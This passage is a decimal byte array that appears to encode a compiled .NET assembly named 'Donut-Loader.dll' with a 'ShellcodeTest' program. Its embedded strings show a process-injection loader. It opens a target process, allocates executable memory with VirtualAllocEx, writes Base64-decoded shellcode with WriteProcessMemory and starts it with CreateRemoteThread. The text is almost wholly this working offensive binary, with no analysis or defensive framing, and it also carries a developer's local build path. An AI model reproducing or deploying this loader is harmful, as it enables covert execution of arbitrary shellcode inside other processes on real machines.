2, 0, 0, 1, 0, 239, 0, 0, 0, 2, 0, 235, 0, 0, 0, 3, 0, 203, 2, 0, 0, 1, 0, 225, 1, 2, 0, 2, 0, 211, 2, 0, 0, 1, 0, 224, 2, 25, 0, 141, 1, 139, 0, 33, 0, 141, 1, 143, 0, 41, 0, 141, 1, 143, 0, 49, 0, 141, 1, 143, 0, 57, 0, 141, 1, 143, 0, 65, 0, 141, 1, 143, 0, 73, 0, 141, 1, 143, 0, 81, 0, 141, 1, 143, 0, 89, 0, 141, 1, 143, 0, 97, 0, 141, 1, 143, 0, 105, 0, 141, 1, 148, 0, 113, 0, 141, 1, 143, 0, 121, 0, 141, 1, 153, 0, 137, 0, 141, 1, 159, 0, 145, 0, 141, 1, 139, 0, 153, 0, 196, 4, 164, 0, 161, 0, 141, 1, 143, 0, 17, 0, 245, 4, 173, 0, 17, 0, 4, 5, 179, 0, 169, 0, 19, 5, 183, 0, 153, 0, 29, 5, 188, 0, 177, 0, 53, 5, 194, 0, 17, 0, 58, 5, 210, 0, 17, 0, 76, 5, 223, 0, 9, 0, 141, 1, 139, 0, 8, 0, 4, 0, 13, 0, 8, 0, 8, 0, 18, 0, 8, 0, 12, 0, 23, 0, 8, 0, 16, 0, 28, 0, 8, 0, 20, 0, 33, 0, 9, 0, 24, 0, 41, 0, 9, 0, 28, 0, 46, 0, 9, 0, 32, 0, 51, 0, 9, 0, 36, 0, 56, 0, 46, 0, 19, 0, 228, 0, 46, 0, 27, 0, 28, 1, 46, 0, 35, 0, 46, 1, 46, 0, 43, 0, 46, 1, 46, 0, 51, 0, 46, 1, 46, 0, 59, 0, 28, 1, 46, 0, 67, 0, 52, 1, 46, 0, 75, 0, 46, 1, 46, 0, 91, 0, 46, 1, 46, 0, 107, 0, 72, 1, 46, 0, 115, 0, 81, 1, 46, 0, 123, 0, 90, 1, 169, 0, 197, 0, 214, 0, 223, 4, 236, 4, 0, 1, 5, 0, 252, 0, 1, 0, 6, 1, 7, 0, 8, 1, 1, 0, 67, 1, 9, 0, 24, 1, 2, 0, 65, 1, 11, 0, 39, 1, 1, 0, 64, 1, 13, 0, 54, 1, 1, 0, 0, 1, 15, 0, 73, 1, 1, 0, 0, 1, 19, 0, 99, 1, 1, 0, 4, 128, 0, 0, 1, 0, 0, 0, 39, 28, 28, 80, 0, 0, 0, 0, 0, 0, 175, 4, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 49, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 58, 0, 0, 0, 0, 0, 0, 0, 0, 60, 77, 111, 100, 117, 108, 101, 62, 0, 68, 111, 110, 117, 116, 45, 76, 111, 97, 100, 101, 114, 46, 100, 108, 108, 0, 80, 114, 111, 103, 114, 97, 109, 0, 83, 104, 101, 108, 108, 99, 111, 100, 101, 84, 101, 115, 116, 0, 109, 115, 99, 111, 114, 108, 105, 98, 0, 83, 121, 115, 116, 101, 109, 0, 79, 98, 106, 101, 99, 116, 0, 80, 82, 79, 67, 69, 83, 83, 95, 67, 82, 69, 65, 84, 69, 95, 84, 72, 82, 69, 65, 68, 0, 80, 82, 79, 67, 69, 83, 83, 95, 81, 85, 69, 82, 89, 95, 73, 78, 70, 79, 82, 77, 65, 84, 73, 79, 78, 0, 80, 82, 79, 67, 69, 83, 83, 95, 86, 77, 95, 79, 80, 69, 82, 65, 84, 73, 79, 78, 0, 80, 82, 79, 67, 69, 83, 83, 95, 86, 77, 95, 87, 82, 73, 84, 69, 0, 80, 82, 79, 67, 69, 83, 83, 95, 86, 77, 95, 82, 69, 65, 68, 0, 77, 69, 77, 95, 67, 79, 77, 77, 73, 84, 0, 77, 69, 77, 95, 82, 69, 83, 69, 82, 86, 69, 0, 80, 65, 71, 69, 95, 82, 69, 65, 68, 87, 82, 73, 84, 69, 0, 80, 65, 71, 69, 95, 69, 88, 69, 67, 85, 84, 69, 95, 82, 69, 65, 68, 87, 82, 73, 84, 69, 0, 120, 54, 52, 0, 120, 56, 54, 0, 112, 105, 100, 0, 77, 97, 105, 110, 0, 79, 112, 101, 110, 80, 114, 111, 99, 101, 115, 115, 0, 71, 101, 116, 77, 111, 100, 117, 108, 101, 72, 97, 110, 100, 108, 101, 0, 71, 101, 116, 80, 114, 111, 99, 65, 100, 100, 114, 101, 115, 115, 0, 86, 105, 114, 116, 117, 97, 108, 65, 108, 108, 111, 99, 69, 120, 0, 87, 114, 105, 116, 101, 80, 114, 111, 99, 101, 115, 115, 77, 101, 109, 111, 114, 121, 0, 67, 114, 101, 97, 116, 101, 82, 101, 109, 111, 116, 101, 84, 104, 114, 101, 97, 100, 0, 73, 110, 106, 101, 99, 116, 0, 73, 115, 87, 111, 119, 54, 52, 80, 114, 111, 99, 101, 115, 115, 0, 83, 121, 115, 116, 101, 109, 46, 68, 105, 97, 103, 110, 111, 115, 116, 105, 99, 115, 0, 80, 114, 111, 99, 101, 115, 115, 0, 46, 99, 116, 111, 114, 0, 97, 114, 103, 115, 0, 100, 119, 68, 101, 115, 105, 114, 101, 100, 65, 99, 99, 101, 115, 115, 0, 98, 73, 110, 104, 101, 114, 105, 116, 72, 97, 110, 100, 108, 101, 0, 100, 119, 80, 114, 111, 99, 101, 115, 115, 73, 100, 0, 108, 112, 77, 111, 100, 117, 108, 101, 78, 97, 109, 101, 0, 104, 77, 111, 100, 117, 108, 101, 0, 112, 114, 111, 99, 78, 97, 109, 101, 0, 104, 80, 114, 111, 99, 101, 115, 115, 0, 108, 112, 65, 100, 100, 114, 101, 115, 115, 0, 100, 119, 83, 105, 122, 101, 0, 102, 108, 65, 108, 108, 111, 99, 97, 116, 105, 111, 110, 84, 121, 112, 101, 0, 102, 108, 80, 114, 111, 116, 101, 99, 116, 0, 108, 112, 66, 97, 115, 101, 65, 100, 100, 114, 101, 115, 115, 0, 108, 112, 66, 117, 102, 102, 101, 114, 0, 110, 83, 105, 122, 101, 0, 108, 112, 78, 117, 109, 98, 101, 114, 79, 102, 66, 121, 116, 101, 115, 87, 114, 105, 116, 116, 101, 110, 0, 83, 121, 115, 116, 101, 109, 46, 82, 117, 110, 116, 105, 109, 101, 46, 73, 110, 116, 101, 114, 111, 112, 83, 101, 114, 118, 105, 99, 101, 115, 0, 79, 117, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 108, 112, 84, 104, 114, 101, 97, 100, 65, 116, 116, 114, 105, 98, 117, 116, 101, 115, 0, 100, 119, 83, 116, 97, 99, 107, 83, 105, 122, 101, 0, 108, 112, 83, 116, 97, 114, 116, 65, 100, 100, 114, 101, 115, 115, 0, 108, 112, 80, 97, 114, 97, 109, 101, 116, 101, 114, 0, 100, 119, 67, 114, 101, 97, 116, 105, 111, 110, 70, 108, 97, 103, 115, 0, 108, 112, 84, 104, 114, 101, 97, 100, 73, 100, 0, 112, 114, 111, 99, 80, 73, 68, 0, 108, 112, 83, 121, 115, 116, 101, 109, 73, 110, 102, 111, 0, 112, 114, 111, 99, 101, 115, 115, 0, 83, 121, 115, 116, 101, 109, 46, 82, 117, 110, 116, 105, 109, 101, 46, 86, 101, 114, 115, 105, 111, 110, 105, 110, 103, 0, 84, 97, 114, 103, 101, 116, 70, 114, 97, 109, 101, 119, 111, 114, 107, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 83, 121, 115, 116, 101, 109, 46, 82, 101, 102, 108, 101, 99, 116, 105, 111, 110, 0, 65, 115, 115, 101, 109, 98, 108, 121, 84, 105, 116, 108, 101, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 68, 101, 115, 99, 114, 105, 112, 116, 105, 111, 110, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 67, 111, 110, 102, 105, 103, 117, 114, 97, 116, 105, 111, 110, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 67, 111, 109, 112, 97, 110, 121, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 80, 114, 111, 100, 117, 99, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 67, 111, 112, 121, 114, 105, 103, 104, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 84, 114, 97, 100, 101, 109, 97, 114, 107, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 67, 117, 108, 116, 117, 114, 101, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 67, 111, 109, 86, 105, 115, 105, 98, 108, 101, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 86, 101, 114, 115, 105, 111, 110, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 68, 101, 98, 117, 103, 103, 97, 98, 108, 101, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 68, 101, 98, 117, 103, 103, 105, 110, 103, 77, 111, 100, 101, 115, 0, 83, 121, 115, 116, 101, 109, 46, 82, 117, 110, 116, 105, 109, 101, 46, 67, 111, 109, 112, 105, 108, 101, 114, 83, 101, 114, 118, 105, 99, 101, 115, 0, 67, 111, 109, 112, 105, 108, 97, 116, 105, 111, 110, 82, 101, 108, 97, 120, 97, 116, 105, 111, 110, 115, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 82, 117, 110, 116, 105, 109, 101, 67, 111, 109, 112, 97, 116, 105, 98, 105, 108, 105, 116, 121, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 68, 111, 110, 117, 116, 45, 76, 111, 97, 100, 101, 114, 0, 67, 111, 110, 118, 101, 114, 116, 0, 84, 111, 73, 110, 116, 51, 50, 0, 68, 108, 108, 73, 109, 112, 111, 114, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 107, 101, 114, 110, 101, 108, 51, 50, 46, 100, 108, 108, 0, 107, 101, 114, 110, 101, 108, 51, 50, 0, 71, 101, 116, 80, 114, 111, 99, 101, 115, 115, 66, 121, 73, 100, 0, 103, 101, 116, 95, 73, 100, 0, 67, 111, 110, 115, 111, 108, 101, 0, 87, 114, 105, 116, 101, 76, 105, 110, 101, 0, 70, 114, 111, 109, 66, 97, 115, 101, 54, 52, 83, 116, 114, 105, 110, 103, 0, 73, 110, 116, 80, 116, 114, 0, 90, 101, 114, 111, 0, 103, 101, 116, 95, 72, 97, 110, 100, 108, 101, 0, 46, 99, 99, 116, 111, 114, 0, 71, 101, 116, 67, 117, 114, 114, 101, 110, 116, 80, 114, 111, 99, 101, 115, 115, 0, 0, 0, 0, 1, 0, 0, 53, 180, 151, 58, 106, 46, 12, 74, 148, 130, 6, 14, 180, 48, 63, 230, 0, 8, 183, 122, 92, 86, 25, 52, 224, 137, 2, 6, 8, 4, 2, 0, 0, 0, 4, 0, 4, 0, 0, 4, 8, 0, 0, 0, 4, 32, 0, 0, 0, 4, 16, 0, 0, 0, 2, 6, 9, 4, 0, 16, 0, 0, 4, 0, 32, 0, 0, 4, 4, 0, 0, 0, 4, 64, 0, 0, 0, 2, 6, 14, 5, 0, 1, 1, 29, 14, 6, 0, 3, 24, 8, 2, 8, 4, 0, 1, 24, 14, 5, 0, 2, 24, 24, 14, 8, 0, 5, 24, 24, 24, 9, 9, 9, 10, 0, 5, 2, 24, 24, 29, 5, 9, 16, 25, 10, 0, 7, 24, 24, 24, 9, 24, 24, 9, 24, 6, 0, 3, 8, 14, 14, 8, 6, 0, 2, 2, 24, 16, 2, 5, 0, 1, 2, 18, 9, 3, 32, 0, 1, 4, 32, 1, 1, 14, 4, 32, 1, 1, 2, 5, 32, 1, 1, 17, 65, 4, 32, 1, 1, 8, 4, 0, 1, 8, 14, 3, 7, 1, 2, 5, 0, 1, 18, 9, 8, 3, 32, 0, 8, 4, 0, 1, 1, 8, 5, 0, 1, 29, 5, 14, 2, 6, 24, 12, 7, 8, 18, 9, 14, 29, 5, 24, 24, 25, 8, 2, 3, 32, 0, 24, 4, 7, 2, 2, 2, 3, 0, 0, 1, 4, 0, 0, 18, 9, 55, 1, 0, 26, 46, 78, 69, 84, 70, 114, 97, 109, 101, 119, 111, 114, 107, 44, 86, 101, 114, 115, 105, 111, 110, 61, 118, 52, 46, 53, 1, 0, 84, 14, 20, 70, 114, 97, 109, 101, 119, 111, 114, 107, 68, 105, 115, 112, 108, 97, 121, 78, 97, 109, 101, 0, 17, 1, 0, 12, 68, 111, 110, 117, 116, 45, 76, 111, 97, 100, 101, 114, 0, 0, 5, 1, 0, 0, 0, 0, 19, 1, 0, 14, 67, 111, 112, 121, 114, 105, 103, 104, 116, 32, 50, 48, 49, 57, 0, 0, 8, 1, 0, 7, 1, 0, 0, 0, 0, 8, 1, 0, 8, 0, 0, 0, 0, 0, 30, 1, 0, 1, 0, 84, 2, 22, 87, 114, 97, 112, 78, 111, 110, 69, 120, 99, 101, 112, 116, 105, 111, 110, 84, 104, 114, 111, 119, 115, 1, 0, 0, 0, 0, 0, 0, 0, 41, 64, 139, 93, 0, 0, 0, 0, 2, 0, 0, 0, 28, 1, 0, 0, 48, 45, 0, 0, 48, 29, 0, 0, 82, 83, 68, 83, 66, 33, 203, 216, 184, 44, 19, 73, 173, 127, 107, 217, 107, 212, 165, 239, 3, 0, 0, 0, 99, 58, 92, 85, 115, 101, 114, 115, 92, 113, 52, 56, 57, 50, 53, 48, 49, 56, 92, 68, 111, 99, 117, 109, 101, 110, 116, 115, 92, 83, 104, 97, 114, 112, 68, 101, 118, 101, 108, 111, 112, 32, 80, 114, 111, 106, 101, 99, 116, 115, 92, 68, 111, 110, 117, 116, 45, 76, 111, 97, 100, 101, 114, 92, 68, 111, 110, 117, 116, 45, 76, 111, 97, 100, 101, 114, 92, 111, 98, 106, 92, 68, 101, 98, 117, 103, 92, 68, 111, 110, 117, 116, 45, 76, 111, 97, 100, 101, 114, 46, 112, 100, 98, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 16, 0, 0, 0, 24, 0, 0, 128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 48, 0, 0, 128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 72, 0, 0, 0, 88, 64, 0, 0, 252, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 252, 2, 52, 0, 0, 0, 86, 0, 83, 0, 95, 0, 86, 0, 69, 0, 82, 0, 83, 0, 73, 0, 79, 0, 78, 0, 95, 0, 73, 0, 78, 0, 70, 0, 79, 0, 0, 0, 0, 0, 189, 4, 239, 254, 0, 0, 1, 0, 0, 0, 1, 0, 28, 80, 39, 28, 0, 0, 1, 0, 28, 80, 39, 28, 63, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 68, 0, 0, 0, 1, 0, 86, 0, 97, 0, 114, 0, 70, 0, 105, 0, 108, 0, 101, 0, 73, 0, 110, 0, 102, 0, 111, 0, 0, 0, 0, 0, 36, 0, 4, 0, 0, 0, 84, 0, 114, 0, 97, 0, 110, 0, 115, 0, 108, 0, 97, 0, 116, 0, 105, 0, 111, 0, 110, 0, 0, 0, 0, 0, 0, 0, 176, 4, 92, 2, 0, 0, 1, 0, 83, 0, 116, 0, 114, 0, 105, 0, 110, 0, 103, 0, 70, 0, 105, 0, 108, 0, 101, 0, 73, 0, 110, 0, 102, 0, 111, 0, 0, 0, 56, 2, 0, 0, 1, 0, 48, 0, 48, 0, 48, 0, 48, 0, 48, 0, 52, 0, 98, 0, 48, 0, 0, 0, 68, 0, 13, 0, 1, 0, 70, 0, 105, 0, 108, 0, 101, 0, 68, 0, 101, 0, 115, 0, 99, 0, 114, 0, 105, 0, 112, 0, 116, 0, 105, 0, 111, 0, 110, 0, 0, 0, 0, 0, 68, 0, 111, 0, 110, 0, 117, 0, 116, 0, 45, 0, 76, 0, 111, 0, 97, 0, 100, 0, 101, 0, 114, 0, 0, 0, 0, 0, 64, 0, 15, 0, 1, 0, 70, 0, 105, 0, 108, 0, 101, 0, 86, 0, 101, 0, 114, 0, 115, 0, 105, 0, 111, 0, 110, 0, 0, 0, 0, 0, 49, 0, 46, 0, 48, 0, 46, 0, 55, 0, 50, 0, 48, 0, 55, 0, 46, 0, 50, 0, 48, 0, 53, 0, 48, 0, 56, 0, 0, 0, 0, 0, 68, 0, 17, 0, 1, 0, 73, 0, 110, 0, 116, 0, 101, 0, 114, 0, 110, 0, 97, 0, 108, 0, 78, 0, 97, 0, 109, 0, 101, 0, 0, 0, 68, 0, 111, 0, 110, 0, 117, 0, 116, 0, 45, 0, 76, 0, 111, 0, 97, 0, 100, 0, 101, 0, 114, 0, 46, 0, 100, 0, 108, 0, 108, 0, 0, 0, 0, 0, 68, 0, 15, 0, 1, 0, 76, 0, 101, 0, 103, 0, 97, 0, 108, 0, 67, 0, 111, 0, 112, 0, 121, 0, 114, 0, 105, 0, 103, 0, 104, 0, 116, 0, 0, 0, 67, 0, 111, 0, 112, 0, 121, 0, 114, 0, 105, 0, 103, 0, 104, 0, 116, 0, 32, 0, 50, 0, 48, 0, 49, 0, 57, 0, 0, 0, 0, 0, 76, 0, 17, 0, 1, 0, 79, 0, 114, 0, 105, 0, 103, 0, 105, 0, 110, 0, 97, 0, 108, 0, 70, 0, 105, 0, 108, 0, 101, 0, 110, 0, 97, 0, 109, 0, 101, 0, 0, 0, 68, 0, 111, 0, 110, 0, 117, 0, 116, 0, 45, 0, 76, 0, 111, 0, 97, 0, 100, 0, 101, 0, 114, 0, 46, 0, 100, 0, 108, 0, 108, 0, 0, 0, 0, 0, 60, 0, 13, 0, 1, 0, 80, 0, 114, 0, 111, 0, 100, 0, 117, 0, 99, 0, 116, 0, 78, 0, 97, 0, 109, 0, 101, 0, 0, 0, 0, 0, 68, 0, 111, 0, 110, 0, 117, 0, 116, 0, 45, 0, 76, 0, 111, 0, 97, 0, 100, 0, 101, 0, 114, 0, 0, 0, 0, 0, 68, 0, 15, 0, 1, 0, 80, 0, 114, 0, 111, 0, 100, 0, 117, 0, 99, 0, 116, 0, 86, 0, 101, 0, 114, 0, 115, 0, 105, 0, 111, 0, 110, 0, 0, 0, 49, 0, 46, 0, 48, 0, 46, 0, 55, 0, 50, 0, 48, 0, 55, 0, 46, 0, 50, 0, 48, 0, 53, 0, 48, 0, 56, 0, 0, 0, 0, 0, 72, 0, 15, 0, 1, 0, 65, 0, 115, 0, 115, 0, 101, 0, 109, 0, 98, 0, 108, 0, 121, 0, 32, 0, 86, 0, 101, 0, 114, 0, 115, 0, 105, 0, 111, 0, 110, 0, 0, 0, 49, 0, 46, 0, 48, 0, 46, 0, 55, 0, 50, 0, 48, 0, 55, 0, 46, 0, 50, 0, 48, 0, 53, 0, 48, 0, 56, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 